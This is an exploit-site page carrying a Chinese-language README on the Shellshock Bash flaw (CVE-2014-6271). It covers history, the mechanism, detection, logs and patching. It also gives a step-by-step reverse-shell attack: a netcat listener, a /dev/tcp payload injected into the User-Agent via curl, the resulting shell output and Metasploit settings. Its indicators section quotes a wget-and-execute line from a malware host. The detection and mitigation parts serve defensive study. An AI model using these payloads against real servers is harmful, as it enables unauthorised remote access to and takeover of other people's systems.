Sploitus

Exploit for -CVE-2014-6271

kitploit · 2026-09-07

Exploit Code

MARKDOWN329 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KALETH4--CVE-2014-6271
root@kitploit:~
    
    
     ____  _   _ _____ _     _     ____  _   _  ___   ____ _  __
    / ___|| | | | ____| |   | |   / ___|| | | |/ _ \ / ___| |/ /
    \___ \| |_| |  _| | |   | |   \___ \| |_| | | | | |   | ' / 
     ___) |  _  | |___| |___| |___ ___) |  _  | |_| | |___| . \ 
    |____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
    

# CVE-2014-6271 — Shellshock

**通过Bash环境变量注入实现远程代码执行**

![CVE](https://img.shields.io/badge/CVE-2014--6271-critical?style=flat-square&color=8b0000) ![CVSS](https://img.shields.io/badge/CVSS-10.0%20Critical-ff0000?style=flat-square) ![Type](https://img.shields.io/badge/Type-RCE-ff3c3c?style=flat-square) ![Bash](https://img.shields.io/badge/Affected-Bash%201.0.3--4.3-4a4a4a?style=flat-square&logo=gnubash) ![Status](https://img.shields.io/badge/Patch-Available-2e7d32?style=flat-square)

> _"一个隐藏在Bash中数十年的缺陷,在不到24小时内撼动了互联网的根基。"_

* * *

## 目录

  * 什么是Shellshock?
  * 时间线
  * 受影响系统
  * 技术描述
  * PoC — 概念验证
  * 攻击向量
  * 完整利用(反弹Shell)
  * 入侵指标(IOC)
  * 缓解措施
  * 免责声明



* * *

## ❓ 什么是Shellshock?

**Shellshock** (也称为 _Bashdoor_ )是 GNU Bash 命令解释器中的一系列严重漏洞,允许远程攻击者在目标系统上执行任意命令。

根本错误:Bash 在完成函数定义后**并未停止** 对环境变量的解析。任何以 `() { :; };` 后的附加代码都会被自动执行。

root@kitploit:~
    
    
    环境变量 → 函数定义 → [此处执行额外代码] ← 漏洞
    

由于 Web 服务器(CGI/Apache)、SSH 服务和 DHCP 客户端会将 HTTP 头或参数转换为 Bash 环境变量,攻击面非常巨大。

* * *

## 📅 时间线

root@kitploit:~
    
    
    2014年9月12日 ──── Stéphane Chazelas 发现该漏洞并向 Bash 维护者 Chet Ramey 报告
                     该漏洞已在 Bash 中存在超过20年。
    
    2014年9月24日 ──── 公开披露 + 发布补丁(CVE-2014-6271)
                     数小时后:僵尸网络开始大规模扫描互联网。
    
    2014年9月25-30日 ── 发现相关漏洞:
                     CVE-2014-6277、CVE-2014-6278、CVE-2014-7169、
                     CVE-2014-7186、CVE-2014-7187
    
    2014年10月 ──────── 记录到数百万次攻击。严重性堪比 Heartbleed。
    

* * *

## 💻 受影响系统

* * *

## 🔬 技术描述

### 漏洞机制

当 Bash 从环境变量导入函数时,它会一直读取到函数的结束花括号 `}`。在存在漏洞的版本中,它**会继续处理后面的代码** 而不是停止。

root@kitploit:~
    
    
    # 恶意环境变量:
    SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
    
    # 存在漏洞的 Bash 在初始化时:
    # 1. 读取函数定义  → 正常
    # 2. 遇到 }; → 本应停止
    # 3. 继续执行 → 运行 /bin/cat /etc/passwd  ← 漏洞
    

### 通过 CGI 的攻击流程

root@kitploit:~
    
    
    攻击者                    Apache 服务器(CGI)              Bash(存在漏洞)
       │                               │                                │
       │  HTTP 请求                     │                                │
       │  User-Agent: () { :;}; cmd     │                                │
       │──────────────────────────────▶│                                │
       │                               │  将 HTTP 头转换为环境变量      │
       │                               │  HTTP_USER_AGENT=() { :;}; cmd │
       │                               │───────────────────────────────▶│
       │                               │                                │ 执行 cmd
       │                               │                                │ 以 www-data 身份
       │◀──────────────────────────────│◀───────────────────────────────│
       │  响应 + cmd 输出              │                                │
    

* * *

## 🧪 PoC — 概念验证

### 基本漏洞检测

root@kitploit:~
    
    
    env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
    

**存在漏洞的系统输出:**

root@kitploit:~
    
    
    VULNERABLE
    this is a test
    

**已修补的系统输出:**

root@kitploit:~
    
    
    this is a test
    

_(或出现语法错误——绝不会输出 "VULNERABLE")_

* * *

## ⚔️ 攻击向量

### 1\. CGI-BIN(最常见)

使用 `.cgi` 脚本的 Web 服务器会将 **HTTP 头** 转换为 Bash 环境变量。

root@kitploit:~
    
    
    受影响的请求头:User-Agent、Referer、Cookie、X-Forwarded-For,以及任意自定义头
    

### 2\. SSH 配合 ForceCommand

root@kitploit:~
    
    
    # 如果服务器配置了 ForceCommand,持有有效密钥的攻击者可以绕过该限制
    ssh user@target '() { :;}; /bin/bash'
    

### 3\. DHCP 客户端

恶意 DHCP 服务器可以向使用 Bash 处理 DHCP 响应的客户端注入环境变量。

### 4\. 直接环境变量

root@kitploit:~
    
    
    # 任何继承环境变量并执行 Bash 的进程
    env VAR='() { :;}; 恶意命令' bash -c "合法脚本"
    

* * *

## 💀 完整利用:反弹 Shell

### 步骤 1:在攻击者机器上开启监听

root@kitploit:~
    
    
    nc -lvnp 4444
    

### 步骤 2:反弹 Shell 载荷

root@kitploit:~
    
    
    # 注入到 User-Agent 中的载荷
    () { :;}; /bin/bash -i >& /dev/tcp/攻击者 IP/4444 0>&1
    

### 步骤 3:发送恶意请求

root@kitploit:~
    
    
    curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
         http://存在漏洞的目标.com/cgi-bin/test.cgi
    

### 步骤 4:获得 Shell

root@kitploit:~
    
    
    Connection received from 10.10.10.50
    bash: no job control in this shell
    sh-4.1$ id
    uid=48(apache) gid=48(apache) groups=48(apache)
    

### Metasploit 模块

root@kitploit:~
    
    
    use exploit/multi/http/apache_mod_cgi_bash_env_exec
    set RHOSTS <目标>
    set TARGETURI /cgi-bin/test.cgi
    set LHOST <你的IP>
    run
    

* * *

## 🔍 入侵指标(IOC)

### Apache/Nginx 日志中

root@kitploit:~
    
    
    # 在 access.log 中查找特征模式
    grep -E "\(\)\s*\{" /var/log/apache2/access.log
    
    # 恶意日志示例:
    # "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
    

### 可疑进程

root@kitploit:~
    
    
    # www-data/apache 的子进程,不应存在
    ps aux | grep www-data | grep -v grep
    netstat -antup | grep ESTABLISHED
    

### 系统指标

root@kitploit:~
    
    
    - /tmp、/var/tmp、/dev/shm 中出现新的可执行文件
    - Web 服务器向未知 IP 发起出站连接
    - /etc/crontab 或 /etc/passwd 被修改
    - 以 www-data 身份运行的 bash 进程无终端
    

* * *

## 🛡️ 缓解措施

### 立即修补(关键优先级)

root@kitploit:~
    
    
    # Debian / Ubuntu
    sudo apt-get update && sudo apt-get install --only-upgrade bash
    
    # RHEL / CentOS / Fedora
    sudo yum update bash
    
    # 验证修补版本(应显示 "patches")
    bash --version
    # GNU bash, version 4.3.30(1)-release → 存在漏洞
    # GNU bash, version 4.3.33(1)-release → 已修补(因发行版而异)
    

### 修补后验证

root@kitploit:~
    
    
    # 必须只输出 "this is a test" — 绝不能输出 "VULNERABLE"
    env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
    

### 额外措施

root@kitploit:~
    
    
    # 1. 如无必要,禁用 CGI
    a2dismod cgi
    
    # 2. WAF 规则,阻止该模式
    # 在 ModSecurity 中:
    SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock 尝试'"
    
    # 3. 持续日志监控
    tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
    

* * *

## ⚠️ 免责声明

> 本仓库仅供教育目的、网络安全研究及授权安全审计使用。此处呈现的所有信息均为公共领域知识。未经明确授权在系统上进行测试在大多数司法管辖区属于非法行为。作者不对滥用此信息承担任何责任。

* * *

**发现者:Stéphane Chazelas · 发布时间:2014年9月24日**

`CVSS 评分:10.0(严重)→ 后在 CVSSv3 中调整为 9.8`